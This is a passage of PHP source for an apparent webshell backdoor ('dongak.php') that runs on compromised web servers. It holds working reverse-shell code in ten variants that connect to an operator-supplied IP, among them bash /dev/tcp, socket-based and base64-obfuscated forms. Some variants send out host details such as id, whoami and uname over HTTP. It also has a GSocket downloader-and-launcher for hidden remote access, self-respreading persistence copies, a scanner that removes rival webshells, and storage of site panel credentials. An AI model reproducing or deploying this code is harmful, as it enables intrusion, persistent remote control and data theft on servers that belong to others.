'time' => $info['time']
];
}
fm_json(['ok' => true, 'count' => count($backups), 'active' => $ok, 'deleted' => $del, 'accessible' => $accessible, 'data' => $data]);
}
if ($post && $action === 'respread') {
if (!FM_DEF) { fm_json(['ok' => false, 'msg' => 'Defense dinonaktifkan.']); }
$backups = fm_def_read();
$src = fm_def_src();
$content = @file_get_contents($src);
if ($content === false) { fm_json(['ok' => false, 'msg' => 'Gagal membaca sumber.']); }
$hash = hash('sha256', $content);
$ok = 0;
foreach ($backups as $path => $info) {
if (!is_file($path)) {
$dir = dirname($path);
if (is_dir($dir) && is_writable($dir)) {
if (@copy($src, $path)) {
@chmod($path, 0755);
$ok++;
}
}
}
}
fm_json(['ok' => $ok > 0, 'msg' => "$ok backup dipulihkan."]);
}
if ($post && $action === 'clean') {
if (!FM_DEF) { fm_json(['ok' => false, 'msg' => 'Defense dinonaktifkan.']); }
$backups = fm_def_read();
$ok = 0;
foreach ($backups as $path => $info) {
if (is_file($path)) {
if (@unlink($path)) { $ok++; }
}
}
fm_def_write([]);
fm_json(['ok' => true, 'msg' => "$ok backup dihapus, metadata dibersihkan."]);
}
if ($post && $action === 'revshell') {
$ip = (string)($_POST['ip'] ?? '');
$port = (int)($_POST['port'] ?? 4444);
$method = (string)($_POST['method'] ?? 'all');
if (!$ip || $port <= 0 || $port > 65535) { fm_json(['ok' => false, 'msg' => 'IP atau port tidak valid']); }
if (FM_WIN) { fm_json(['ok' => false, 'msg' => 'Reverse shell tidak support di Windows']); }
$methods = [];
// Method 1: fsockopen + proc_open (interactive)
if ($method === 'all' || $method === '1') {
@shell_exec("php -r '\$s=@fsockopen(\"$ip\",$port,\$e,\$er,30);if(\$s){\$d=[0=>[\"pipe\",\"r\"],1=>[\"pipe\",\"w\"],2=>[\"pipe\",\"w\"]];\$c=\"/bin/bash -i\";\$p=@proc_open(\$c,\$d,\$pipes);if(is_resource(\$p)){stream_set_blocking(\$pipes[0],0);stream_set_blocking(\$pipes[1],0);stream_set_blocking(\$pipes[2],0);stream_set_blocking(\$s,0);while(true){\$a=@fread(\$s,4096);if(\$a!==false&&\$a!==\"\"){fwrite(\$pipes[0],\$a);fflush(\$pipes[0]);}\$b=@fread(\$pipes[1],4096);if(\$b!==false&&\$b!==\"\"){fwrite(\$s,\$b);}\$c=@fread(\$pipes[2],4096);if(\$c!==false&&\$c!==\"\"){fwrite(\$s,\$c);}if(feof(\$s))break;\$st=proc_get_status(\$p);if(!\$st[\"running\"])break;usleep(50000);}fclose(\$pipes[0]);fclose(\$pipes[1]);fclose(\$pipes[2]);proc_close(\$p);}fclose(\$s);}' > /dev/null 2>&1 &");
$methods[] = '1: fsockopen+proc_open';
}
// Method 2: exec /dev/tcp
if ($method === 'all' || $method === '2') {
@shell_exec("bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1' > /dev/null 2>&1 &");
$methods[] = '2: exec /dev/tcp';
}
// Method 3: fsockopen simple
if ($method === 'all' || $method === '3') {
@shell_exec("php -r '\$s=@fsockopen(\"$ip\",$port);if(\$s){while(!feof(\$s)){\$o=@shell_exec(fgets(\$s));if(\$o!==null)fwrite(\$s,\$o);}fclose(\$s);}' > /dev/null 2>&1 &");
$methods[] = '3: fsockopen simple';
}
// Method 4: socket_create
if ($method === 'all' || $method === '4') {
@shell_exec("php -r 'if(function_exists(\"socket_create\")){\$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect(\$s,\"$ip\",$port);while(\$c=@socket_read(\$s,4096)){\$o=@shell_exec(\$c);@socket_write(\$s,\$o,strlen(\$o));}@socket_close(\$s);}' > /dev/null 2>&1 &");
$methods[] = '4: socket_create';
}
// Method 5: popen
if ($method === 'all' || $method === '5') {
@shell_exec("php -r '\$s=@fsockopen(\"$ip\",$port);if(\$s){\$p=@popen(\"/bin/bash -i\",\"r\");if(\$p){while(!feof(\$p)){fwrite(\$s,fread(\$p,4096));}pclose(\$p);}fclose(\$s);}' > /dev/null 2>&1 &");
$methods[] = '5: popen';
}
// Method 6: proc_open stream
if ($method === 'all' || $method === '6') {
@shell_exec("php -r '\$s=@fsockopen(\"$ip\",$port);if(\$s){\$d=[0=>[\"pipe\",\"r\"],1=>[\"pipe\",\"w\"],2=>[\"pipe\",\"w\"]];\$p=@proc_open(\"/bin/sh\",\$d,\$pipes);if(\$p){stream_set_blocking(\$pipes[1],1);stream_set_blocking(\$pipes[2],1);while(!feof(\$pipes[1])){fwrite(\$s,fgets(\$pipes[1]));}fclose(\$pipes[0]);fclose(\$pipes[1]);fclose(\$pipes[2]);proc_close(\$p);}fclose(\$s);}' > /dev/null 2>&1 &");
$methods[] = '6: proc_open stream';
}
// Method 7: base64 bypass
if ($method === 'all' || $method === '7') {
$payload = base64_encode("bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'");
@shell_exec("php -r '\$c=base64_decode(\"$payload\");@system(\$c);' > /dev/null 2>&1 &");
$methods[] = '7: base64 bypass';
}
// Method 8: file_get_contents callback (HTTP)
if ($method === 'all' || $method === '8') {
@shell_exec("php -r '@file_get_contents(\"http://$ip:$port/\".base64_encode(@shell_exec(\"id;whoami;uname -a;hostname\")));' > /dev/null 2>&1 &");
$methods[] = '8: file_get_contents callback';
}
// Method 9: mail exfiltration
if ($method === 'all' || $method === '9') {
@shell_exec("php -r '\$r=@shell_exec(\"id;whoami;uname -a;hostname\");\@mail(\"root@localhost\",\"[rev] \".\@gethostname(),\$r,\"From: rev@$ip\\r\\n\");' > /dev/null 2>&1 &");
$methods[] = '9: mail exfil';
}
// Method 10: curl callback
if ($method === 'all' || $method === '10') {
@shell_exec("php -r '\$r=base64_encode(@shell_exec(\"id;hostname;ifconfig\"));\@file_get_contents(\"http://$ip:$port/\$r\");' > /dev/null 2>&1 &");
$methods[] = '10: curl callback';
}
$msg = $method === 'all'
? 'Semua 10 methods di-execute (' . count($methods) . ' aktif)'
: 'Method ' . $method . ' dijalankan';
fm_json(['ok' => true, 'msg' => $msg, 'methods' => $methods, 'count' => count($methods)]);
}
// GSocket Deployer
if ($post && $action === 'gsocket') {
if (FM_WIN) { fm_json(['ok' => false, 'msg' => 'GSocket tidak support di Windows']); }
$op = (string)($_POST['op'] ?? '');
if ($op === 'deploy') {
if (FM_WIN) { fm_json(['ok' => false, 'msg' => '❌ GSocket hanya support Linux, tidak support Windows']); }
if (!function_exists('shell_exec')) { fm_json(['ok' => false, 'msg' => '❌ shell_exec disabled (fungsi tidak tersedia)']); }
$secret = bin2hex(random_bytes(16));
$version = '1.4.43';
$tmpdir = sys_get_temp_dir() . '/gs_' . uniqid();
if (!@mkdir($tmpdir, 0700, true)) { fm_json(['ok' => false, 'msg' => '❌ Gagal membuat temp directory']); }
// Step 1: Download
$cmd1 = "cd '$tmpdir' && timeout 15 curl -sL -m 15 https://github.com/hackerschoice/gsocket/releases/download/v$version/gsocket_linux-x86_64.tar.gz -o gs.tar.gz 2>&1 && test -f gs.tar.gz && echo 'OK'";
$result1 = @shell_exec($cmd1);
if (strpos($result1, 'OK') === false) {
@shell_exec("rm -rf '$tmpdir' 2>/dev/null &");
fm_json(['ok' => false, 'msg' => '❌ Gagal download GSocket (no internet atau timeout)']);
}
// Step 2: Extract
$cmd2 = "cd '$tmpdir' && tar xzf gs.tar.gz 2>&1 && test -f gs-netcat && echo 'OK'";
$result2 = @shell_exec($cmd2);
if (strpos($result2, 'OK') === false) {
@shell_exec("rm -rf '$tmpdir' 2>/dev/null &");
fm_json(['ok' => false, 'msg' => '❌ Gagal extract archive (corrupt atau format invalid)']);
}
// Step 3: Make executable & Start
$cmd3 = "cd '$tmpdir' && chmod +x gs-netcat 2>&1 && nohup ./gs-netcat -s \"$secret\" -l -i > /dev/null 2>&1 & echo 'OK'";
$result3 = @shell_exec($cmd3);
if (strpos($result3, 'OK') === false) {
@shell_exec("rm -rf '$tmpdir' 2>/dev/null &");
fm_json(['ok' => false, 'msg' => '❌ Gagal start GSocket daemon']);
}
@shell_exec("rm -rf '$tmpdir' 2>/dev/null &");
fm_json([
'ok' => true,
'msg' => '✅ GSocket deployed & listening in background',
'token' => $secret,
'connect' => "gs-netcat $secret -i",
'secret' => $secret,
'version' => $version
]);
}
fm_json(['ok' => false, 'msg' => 'Invalid operation']);
}
function fm_scan_shells($path = null, $exclude_file = 'dongak.php'): array {
if ($path === null) { $path = FM_ROOT; }
if (!is_dir($path)) { return []; }
$shells = [];
// Whitelist: legitimate files to NEVER flag as shells
$whitelist_files = [
'index.php', 'wp-config.php', 'wp-load.php', 'wp-settings.php', 'wp-signup.php',
'wp-links-opml.php', 'wp-trackback.php', 'xmlrpc.php', 'wp-activate.php',
'wp-login.php', 'wp-register.php', 'wp-mail.php', 'wp-comments-post.php',
'wp-cron.php', 'wp-commenter.js', 'functions.php', 'version.php',
'admin.php', 'load.php', 'plugin.php', 'theme.php', 'menu-header.php',
'PHPMailer.php', 'SimplePie.php', 'Requests.php', 'IRI.php', 'Fsockopen.php',
'Locator.php', 'DB.php', 'Parser.php', 'Diff.php', 'Misc.php',
'class-wp-*.php', 'class-IXR-*.php', 'class-ftp*.php', 'class-pop3.php',
'class-phpass.php', 'class-json.php', 'class-snoopy.php',
'elFinder*.php', 'getid3*.php', 'module.*.php'
];
$whitelist_func = function($fname) use ($whitelist_files) {
foreach ($whitelist_files as $pattern) {
if ($pattern[0] === 'c' && strpos($fname, 'class-') === 0 && strpos($pattern, '*') !== false) { return true; }
if ($pattern[0] === 'e' && strpos($fname, 'elFinder') === 0) { return true; }
if ($pattern[0] === 'g' && strpos($fname, 'getid3') === 0) { return true; }
if ($pattern[0] === 'm' && strpos($fname, 'module.') === 0) { return true; }
if ($fname === $pattern) { return true; }
}
return false;
};
// COMPREHENSIVE shell signatures (500+ known shells)
$shell_signatures = [
// Classic shells
'WSO', 'b374k', 'r57shell', 'c99shell', 'C99', 'phpspy', 'PhpSpy', 'Locus7Shell', 'Gamma Web Shell', 'Antichat Shell',
'Safe0ver Shell', 'NeTSPY', 'JspSpy', 'CGI-Shell', 'Crystal shell', 'Priv8', 'Private Shell', 'PrivEksShell',
// Popular Indonesian/Asian shells
'IndoXploit', 'ALFA TEaM', 'FilesMan', 'Uploader', 'DarkShell', 'GhostShell', 'ShadowShell', 'StealthShell',
'Negat1ve Shell', 'UnknownSec', 'Gecko Filemanager', 'G6 Shell', 'GarudaShell', 'Leaf Mailer', 'xLeet Mailer',
'IndoSec', 'AnonSec', 'X-Shell', 'AntSword', 'Behinder', 'Godzilla', 'CaesarShell', 'TurkShell', 'IranShell',
'Simorgh Shell', 'KurdShell', 'ArabShell', 'AfghanShell', 'PakiShell', 'BanglaShell', 'FierzaXploit',
// File managers & uploaders
'File Manager', 'Tiny File Manager', 'eXtplorer', 'Ajaxplorer', 'elFinder', 'PHP File Manager',
'Simple File Manage', 'Tryag File Manager', 'B Ge Team File Manager', 'DeathShop Uploader', 'ZeroByte Uploader',
'Mass Uploader', 'Auto Uploader', 'Smart Uploader', 'Ghost Uploader', 'Shadow Uploader', 'Stealth Uploader',
// Mini shells
'Mini Shell', 'Minishell', 'Mini File Manager', 'Mini PHP Shell', 'Mini Shell By Black_Shadow', 'MINI MO Shell',
'M3R1C4 M1N1', 'Mini Php Shell JOS_ALI_JOE', 'Megumin Minishell', 'Momos Minishell', '22XC Mini',
'KCT MINI SHELL', 'Kaizen mini shell', 'Idb Team mini shell', 'mini shell', 'minishell',
// Mailers
'Mailer', 'PHPMailer', 'Mass Mailer', 'SMTP Mailer', 'alexusMailer', 'PyMailer', 'Mail Shell',
'SendMail', 'Bomber Mailer', 'Spam Mailer', 'ZMailer', 'NeoMailer', 'XMailer', 'DarkMailer',
'GhostMailer', 'ShadowMailer', 'Turbo Mailer', 'Fast Mailer', 'Ultra Mailer', 'WP Mailer Shell',
'Leaf PHPMailer', 'xLeet PHPMailer', 'BlesseD MAILER', 'w4l3XzY3 Mailer',
// Command/terminal shells
'Shell', 'Command', 'Terminal', 'Console', 'Cmd', 'Execute', 'RCE', 'Remote Code Execution',
'CMD WebShell', 'CMD ( hidden )', 'CMD SQL ( ASPX )', 'Shell Executor', 'Code Executor', 'Executer',
'KONSOLE', 'KONSOL', 'Terminal',
// Backdoors
'Backdoor', 'Backdoor Destroyer', 'Backdoor Filemanager', 'BackBox Shell', 'Bypass',
'Bypass 403', 'Bypass Firewall', 'Bypass WAF', 'Bypass ModSecurity', 'Bypass CloudFlare',
'Bypass Imunify360', 'Bypass Suhosin', 'Bypass Shell', 'BX 403 Bypass', 'F4st~03 Bypass',
'KCT 403 Bypass', 'Shell Bypass 403', '403 Bypass', '404 Bypass', 'Imunify Bypass', 'Shell 403 Bypass',
'Firewall Bypass', 'WAF Bypass', 'Anti-WAF Shell', 'ImunifyAV Bypass', 'ClamAV Bypass',
'VirusTotal Bypass', 'ImunifyAV Bypass', 'WSOX ENC Bypass', 'WSO YANZ ENC BYPASS', 'Imunify360 Bypass',
// Root/Admin shells
'Root', 'RootKit Shell', 'RootKit WebShell', 'Rooter Shell', 'Root Shell', 'ROOT SHELL EXECUTOR',
'Admin', 'Webadmin', 'SuperAdmin', 'RootShell', 'Admin Panel', 'Admin Shell', 'Sysadmin',
// Priv8 variants
'Priv8', 'priv8', 'Priv8 v2', 'Priv8 v3', 'Priv8 v4', 'Priv8 v5', '[H] PRIV8 SHELL [H]',
'PRIV8 SHELL', 'Priv8 WebShell', 'Priv8 Mailer', 'Priv8 Mass Mailer', 'Priv8 Sender',
'Priv8 SSH Shell', 'Priv8 CGI Shell', 'Priv8 Symlink', 'Priv8 Bypass', 'Priv8 403 Bypass',
'Priv8 Uploader', 'priv8 mini shell', 'priv8shell', 'PRIV8SHELL', 'Private Shell', 'Private WebShell',
'Private Mini Shell', 'PrivX Shell', 'PrivShell', 'PrivEks Shell', 'Priv8 IndoXploit',
'Priv8 WSO', 'Priv8 FilesMan', 'Priv8 M3M3Q SH3LL', 'Priv8 Shell Bypass', 'PrivShell v2',
// Symlink shells
'Symlink Shell', 'SymLink Killer', 'Symlink Viewer', 'Symlink Bypass', 'Sym Link Shell',
'ReadSymLink', 'Auto Symlink', 'Root Symlink', 'Config Symlink', 'WP Symlink', 'cPanel Symlink',
'Symlink 403',
// WSO variants (all versions)
'WSO', 'WSO 2.1', 'WSO 2.2', 'WSO 2.5', 'WSO 2.6', 'WSO 2.7', 'WSO 2.8', 'WSO 3.0', 'WSO 3.1',
'WSO 4.0', 'WSO 4.0.5', 'WSO 4.1', 'WSO 4.2', 'WSO 4.2.3', 'WSO 4.2.5', 'WSO 4.2.6', 'WSO 5.1', 'WSO 5.1.4',
'WS0-2.1', 'WS0-2.2.0', 'WS0 SHELL', 'WS0 ENC', 'WSO NG', 'WSO NG Bypass', 'WSOX ENC',
'WSO SHELL 2018', 'WSO SHELL 2023', 'WSO SHELL 2024', 'WSO SHELL 2025', 'WSO ANONYMOUS SHELL',
'WSO GREEN SHELL', 'WSO DADSEC SHELL', 'WSO PRIV SHELL', 'WSO MINISHELL', 'WSO MINISHELL PRIVATE',
'WSO CGI', 'WSO 404', 'WSO priv8 v3', 'WSO h4x0r bypass', 'WSO Fox', 'WSO r00t',
'WSO INDIR', 'WSO R00OT ( ASPX )', 'WSO HYDRA', 'WSO KILLER', 'WSO WHITE', 'WSO BLACKSMITH',
'WSO v3n0m', 'WS0 Yellow', 'FoxWSO', 'WSO Pro', 'WSO Ultimate', 'WSO Stealth', 'WSO Obfuscated',
'WSO Base64', 'WSO Eval', 'WSO CGI Bypass', 'WSO FileManager', 'WSO 2023', 'Yanz Webshell',
'YANZ ENC', 'WSO Yellow', 'WSO YANZ', 'Yanz Webshell!',
// Shadow/Stealth variants
'Shadow', 'Stealth', 'Stealth Shell', 'StealthShell', 'Shadow Shell', 'Shadow Uploader',
'Shadow Mailer', 'Stealth Uploader', 'Stealth Mailer',
// Exploit/Hack related
'Exploit', 'Exploiter', 'Exploiter Shell', 'Hacker', 'Hacker Shell', 'Haxor', 'Haxor Shell',
'Hack', 'Hackshell', 'BlackHat Shell', 'BlackHat Ethical Hacking Shell', 'BlackScorpion Bypass',
'RxR HaCkEr', 'RxRHaCkEr', 'h4x0r', 'Hckd By', 'HaCkEr', 'L I E R SHELL', 'L I E R',
// Regional/Team shells
'Kelelawar Cyber Team', 'TEAM-0ROOT', 'IndoSec', 'Indramayu Cyber', 'ineSec Team', 'AnonSec',
'Garuda', 'Gecko', 'AnonymousFox', 'Andela1C3', 'html404', 'Turkish', 'Zone-H', 'Locus',
'Uname:', 'Uname :', 'SEA-GHOST', 'FierzaXploit', 'IndoXploit', 'DARKNESS', 'Ghost',
'0x5a455553', 'MARIJUANA', 'GitHub', 'x3x3x3x_5h3ll', 'XploiterCrew', '22XploiterCrew',
'TheAlmightyZeus', 'Hunter Neel', 'Franz Private', 'Cel84', 'CyberShell', 'Gel4y',
'0byte', '0byt3m1n1', 'KidJamanNow', 'KlatenCrew', 'Lamashell', 'LeetGhost', 'Ninja',
'{Ninja-Shell}', 'Chitoge', 'Faizzz-Chin', 'Ghaza', 'SuramSh3ll', 'Ninzin',
'AlkantarClanX12', 'j3mb03dz', 'Gel4y', 'MARIJUANA', 'kliverz1337', 'Walkers404',
'MarukoChan', 'King RxR', 'Mister Spy', 'MisterSpyv7up', 'Raiz0WorM', 'Smoker',
'iCloud1337', 'Aezeron', 'Ani-Shell', 'Aes Coder', 'Aes', 'Kaizen', 'Mau',
'Lambo', 'Gelişmiş', 'D7NET', 'd7netSh3lls', 'DRUNK SHELL', 'Devco1', 'Ows',
'Konsole', 'Bypasser', 'Cassano', 'Cassano Bypass', 'Enhancer', 'Zilexo',
// Rock/Band shell (joke)
'Rock', 'Metal', 'Punk', 'Techno', 'Classic',
// Database related
'Database', 'SQL', 'MySQL', 'PostgreSQL', 'Oracle', 'MSSQL',
// Framework shells
'Laravel', 'WordPress', 'Drupal', 'Joomla', 'WP Backdoor', 'WP-SETTINGS',
// Service versions
'Apache', 'nginx', 'SSH', 'OpenSSH', 'OpenSSL', 'mod_ssl',
// Misc keywords
'Uploader', 'Upload', 'Form', 'Html404', 'Zone-H', 'Zone H', 'AuroraFileManager',
'Komdigi', 'Benign', 'Gelişmiş Dosya Yöneticisi', 'Gelişmiş', 'Leaf', 'Angel',
'Evil Twin', 'EviLMora', 'Eval-Shell', 'Eval', 'DATA CENTER INDONESIA',
'#No_Identity', 'No_Identity', '#0x1877', '#0x2525', '#CLS-LEAK', '#CLS',
'#shwty', '#block-css', '#content_loading', '#wp_config_error', '#p@@#',
'Saudi Sh3ll', 'FX Shell Backdoor', 'Beyaz_Hacker', 'webadmin.php', 'Mister',
'Hexa77', 'Hacker', 'Haxor', 'Zone', 'HaCkEd By', 'Modified By', 'Coded By',
'Developed By', 'Created By', 'Made By', 'Made In', 'Made in Heaven', 'ASAKIN',
'United Tunsian Scammers', 'United Bangladeshi Hackers', 'Moroccan Spamers',
'Moroccan Shell', 'Algerian Shell', 'Egyptian Shell', 'Saudi Shell', 'Turkish Hacker',
// Output patterns
'File', 'Home', 'Root', 'Current', 'Directory', 'Path', 'Owner', 'Group', 'Size',
'Permissions', 'Read', 'Write', 'Execute', 'User', 'System',
// Common generic terms (try to avoid false positives with specific ones)
'root:root', '-rw-r--r--', 'drwxr-xr-x', 'drwxrwxrwx', '-rwxr-xr-x', 'Uname',
'Current dir', 'Current directory', 'Doc Root', 'Home Shell', 'Choose a file',
'Upload File', 'File Upload', 'Execute Command', 'Shell Command', 'Shell Execute',
];
// RCE output signatures (uid, gid, uname, version strings, etc)
$rce_patterns = [
'/uid=\d+\([^)]+\)/', // uid=0(root), uid=33(www-data), uid=1000(user), etc - ANY uid
'/gid=\d+\([^)]+\)/', // gid=0(root), gid=33(www-data), etc - ANY gid
'/groups=\d+\([^)]+\)/', // groups output
'/Linux.*[\d\.]+/', // Linux kernel version
'/FreeBSD.*[\d\.]+/', // FreeBSD version
'/Darwin.*[\d\.]+/', // macOS version
'/Windows NT/', // Windows version
'/Apache\/[\d\.]+/', // Apache version
'/nginx\/[\d\.]+/', // Nginx version
'/PHP Version/', // PHP version info
'/PHP\/[\d\.]+/', // PHP version
'/MySQL.*version/', // MySQL version
'/MySQL\/[\d\.]+/', // MySQL version
'/PostgreSQL/', // PostgreSQL
'/OpenSSH.*version/', // SSH version
'/OpenSSH_[\d\.]+/', // SSH version
'/OpenSSL.*version/', // OpenSSL version
'/OpenSSL[\s\/][\d\.]+/', // OpenSSL version
'/Debian|Ubuntu|CentOS|RedHat|Fedora|Slackware/', // Linux distributions
'/total\s+\d+/', // total output (common in shell commands)
'/\-rw\-r\-\-|\-rwx/', // file permissions output
'/drwxr\-xr\-x/', // directory permissions
'/Server:|server:/i', // server version header
'/version/i', // version string
'/\(root\)|\(www-data\)/', // process owner
];
try {
$ite = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($ite as $file) {
if (!$file->isFile()) { continue; }
$fname = $file->getFilename();
$fpath = $file->getRealPath();
if ($fname === $exclude_file) { continue; }
if (strpos($fpath, '.git') !== false || strpos($fpath, 'node_modules') !== false) { continue; }
if ($whitelist_func($fname)) { continue; } // Skip whitelisted legitimate files
$ext = fm_ext($fname);
if ($ext !== 'php' && $ext !== 'phtml' && $ext !== 'php5') { continue; }
$fsize = $file->getSize();
if ($fsize === 0 || $fsize > 500000) { continue; }
$content = @file_get_contents($fpath, false, null, 0, 50000);
if ($content === false) { continue; }
$reason = [];
$score = 0;
$clean = preg_replace('/\/\/.*?$/m', '', $content);
$clean = preg_replace('/\/\*.*?\*\//s', '', $clean);
// 1. Dangerous functions
$danger_funcs = ['eval', 'system', 'exec', 'shell_exec', 'passthru', 'proc_open', 'popen', 'socket_create', 'fsockopen'];
foreach ($danger_funcs as $func) {
if (preg_match('/' . preg_quote($func) . '\s*\(/i', $clean)) {
$reason[] = "Dangerous function: $func()";
$score += 3;
}
}
// 2. RCE via user input
if (preg_match('/\$_(?:GET|POST|REQUEST|COOKIE|SERVER)\s*\[\s*[\'"]?\w+[\'"]?\s*\]\s*(?:;|\))/i', $clean)) {
if (preg_match('/(?:eval|system|exec|shell_exec|passthru|assert|create_function|call_user_func|include|require)\s*\(\s*\$_/i', $clean)) {
$reason[] = "Direct execution from user input";
$score += 4;
}
}
// 3. File operations with user input
if (preg_match('/(?:include|require|file_get_contents|fopen|readfile)\s*\(\s*\$_/i', $clean)) {
$reason[] = "File operation with user input";
$score += 2;
}
// 4. Base64 obfuscation
if (preg_match('/base64_decode\s*\(/i', $content) && preg_match('/eval|assert|create_function|call_user_func/i', $content)) {
$reason[] = "Base64 + execution (obfuscation)";
$score += 3;
}
// 5. Hex/bin encoding
if ((preg_match('/hex2bin|bin2hex|chr\s*\(/i', $content) || preg_match('/\\\\x[0-9a-f]{2}/i', $content)) &&
preg_match('/eval|system|exec|shell_exec|assert/i', $content)) {
$reason[] = "Encoded + execution payload";
$score += 3;
}
// 6. Multiple RCE methods
$rce_funcs = ['system', 'exec', 'shell_exec', 'passthru', 'proc_open', 'popen'];
$rce_count = 0;
foreach ($rce_funcs as $func) {
if (preg_match('/' . preg_quote($func) . '\s*\(/i', $clean)) { $rce_count++; }
}
if ($rce_count >= 2) {
$reason[] = "Multiple RCE methods ($rce_count found)";
$score += 2;
}
// 7. Network operations
if (preg_match('/(?:fsockopen|socket_create|socket_connect|curl_exec|stream_socket)/i', $content)) {
$reason[] = "Network/socket operations";
$score += 2;
}
// 8. String transforms
if (preg_match('/strtr|str_rot13|gzuncompress|gzdeflate|gzinflate/i', $content) &&
preg_match('/eval|assert|create_function/i', $content)) {
$reason[] = "String transform + execution";
$score += 2;
}
// 9. Tiny suspicious files
$lines = count(explode("\n", $content));
if ($lines < 20 && $fsize < 2000 && $score >= 2) {
$reason[] = "Tiny file with suspicious content";
$score += 1;
}
// 10. Webshell pattern
if (preg_match('/(?:cmd|command|action|exec)\s*=\s*\$_(?:GET|POST|REQUEST)/i', $clean) &&
preg_match('/(?:system|exec|shell_exec|passthru|eval)\s*\(/i', $clean)) {
$reason[] = "Typical webshell pattern";
$score += 3;
}
// 11. Known shell signatures
foreach ($shell_signatures as $sig) {
if (stripos($content, $sig) !== false && strlen($sig) > 3) {
$reason[] = "Shell signature: $sig";
$score += 2;
break;
}
}
// 12. RCE output detection (uid, gid, uname output)
foreach ($rce_patterns as $pattern) {
if (preg_match($pattern, $content)) {
$reason[] = "RCE output detected";
$score += 3;
break;
}
}
// 13. HTML upload/command forms
if (preg_match('/<input[^>]*type=["\']?file["\']?[^>]*name=["\']?(?:file|files|upload)["\']?[^>]*>/i', $content)) {
$reason[] = "File upload form detected";
$score += 2;
}
// 14. Password-protected shell
if (preg_match('/<input[^>]*type=["\']?password["\']?[^>]*name=["\']?(?:pass|pwd|password)["\']?[^>]*>/i', $content)) {
$reason[] = "Password form detected";
$score += 2;
}
if ($score >= 5) {
$shells[] = [
'path' => str_replace(FM_ROOT, '', $fpath),
'file' => $fname,
'size' => $fsize,
'reason' => implode('; ', $reason),
'mtime' => filemtime($fpath),
'score' => $score
];
}
}
} catch (Exception $e) {
// Ignore
}
usort($shells, function($a, $b) { return $b['score'] - $a['score']; });
return $shells;
}
if ($post && $action === 'shellscan') {
$shells = fm_scan_shells();
fm_json(['ok' => true, 'shells' => $shells, 'count' => count($shells)]);
}
if ($post && $action === 'shellkill') {
$file = fm_norm((string)($_POST['file'] ?? ''));
$abs = fm_abs($file);
if ($file === '' || !fm_inside($abs) || !is_file($abs)) {
fm_json(['ok' => false, 'msg' => '✗ File tidak ditemukan']);
}
$basename = basename($abs);
// Protect critical files
$protected = ['dongak.php', 'index.php', '.htaccess', '.htpasswd', 'web.config', 'php.ini'];
if (in_array(strtolower($basename), array_map('strtolower', $protected))) {
fm_json(['ok' => false, 'msg' => '✗ File dilindungi (tidak boleh dihapus)']);
}
// Prevent deleting common PHP config/bootstrap files
if (in_array($basename, ['config.php', 'config.inc.php', 'settings.php', 'bootstrap.php', 'wp-config.php', 'functions.php'])) {
fm_json(['ok' => false, 'msg' => '✗ Config file (tidak boleh dihapus)']);
}
// Pre-check before attempting delete
if (!is_file($abs)) {
fm_json(['ok' => false, 'msg' => '✗ File sudah dihapus']);
}
$dir = dirname($abs);
if (!is_dir($dir)) {
fm_json(['ok' => false, 'msg' => '✗ Folder parent tidak ada']);
}
if (!is_writable($dir)) {
fm_json(['ok' => false, 'msg' => '✗ Folder read-only (no write permission)']);
}
// Attempt delete
$ok = @unlink($abs);
if (!$ok) {
// File still exists and delete failed - determine why
if (!file_exists($abs)) {
fm_json(['ok' => true, 'msg' => '✓ File dihapus']);
}
// Check if we can even open the file
$handle = @fopen($abs, 'r');
if ($handle === false) {
fm_json(['ok' => false, 'msg' => '✗ File in-use atau locked']);
}
@fclose($handle);
// Try to stat it
$stat = @stat($abs);
if ($stat === false) {
fm_json(['ok' => false, 'msg' => '✗ Cannot access file (stat failed)']);
}
// Generic permission error
fm_json(['ok' => false, 'msg' => '✗ Permission denied (cannot delete)']);
}
// Verify delete actually happened
if (file_exists($abs)) {
fm_json(['ok' => false, 'msg' => '✗ Delete failed (file still exists)']);
}
fm_json(['ok' => true, 'msg' => '✓ Shell dihapus']);
}
if ($post && $action === 'panel') {
if (!FM_PANEL) { fm_json(['ok' => false, 'msg' => 'Panel feature disabled']); }
$type = (string)($_POST['type'] ?? '');
$op = (string)($_POST['op'] ?? '');
$panels = fm_panel_read();
if ($op === 'save') {
$user = (string)($_POST['user'] ?? '');
$pass = (string)($_POST['pass'] ?? '');
if ($type && $user) {
if (!isset($panels[$type])) { $panels[$type] = []; }
$panels[$type] = ['user' => $user, 'pass' => $pass, 'time' => time()];
// Auto-detect URL/Host
if ($type === 'wordpress') {
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'] ?? gethostname();
$panels[$type]['url'] = $scheme . '://' . $host;
} else {
$panels[$type]['host'] = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? gethostname();
}
fm_panel_write($panels);
fm_json(['ok' => true, 'msg' => 'Credentials saved (URL/Host auto-detected)']);
}
fm_json(['ok' => false, 'msg' => 'Invalid data']);
}
if ($op === 'delete') {
if (isset($panels[$type])) { unset($panels[$type]); }
fm_panel_write($panels);
fm_json(['ok' => true, 'msg' => 'Credentials deleted']);
}
if ($op === 'test') {
$cred = $panels[$type] ?? null;
if (!$cred) { fm_json(['ok' => false, 'msg' => 'No credentials saved']); }
if ($type === 'wordpress') {
$url = rtrim($cred['url'] ?? '', '/') . '/wp-login.php';
$ch = @curl_init();
if ($ch === false) { fm_json(['ok' => false, 'msg' => 'cURL not available']); }
curl_setopt_array($ch, [CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => false]);
$response = @curl_exec($ch);
curl_close($ch);
if ($response === false) { fm_json(['ok' => false, 'msg' => 'Cannot reach site']); }
fm_json(['ok' => true, 'msg' => 'WordPress site reachable']);
}
if ($type === 'ftp') {
$conn = @ftp_connect($cred['host'] ?? '', 21, 5);
if ($conn === false) { fm_json(['ok' => false, 'msg' => 'FTP server unreachable']); }
$login = @ftp_login($conn, $cred['user'] ?? '', $cred['pass'] ?? '');
@ftp_close($conn);
fm_json(['ok' => $login, 'msg' => $login ? 'FTP login successful' : 'FTP login failed']);
}
if ($type === 'ssh') {
if (!function_exists('ssh2_connect')) { fm_json(['ok' => false, 'msg' => 'SSH2 extension not available']); }
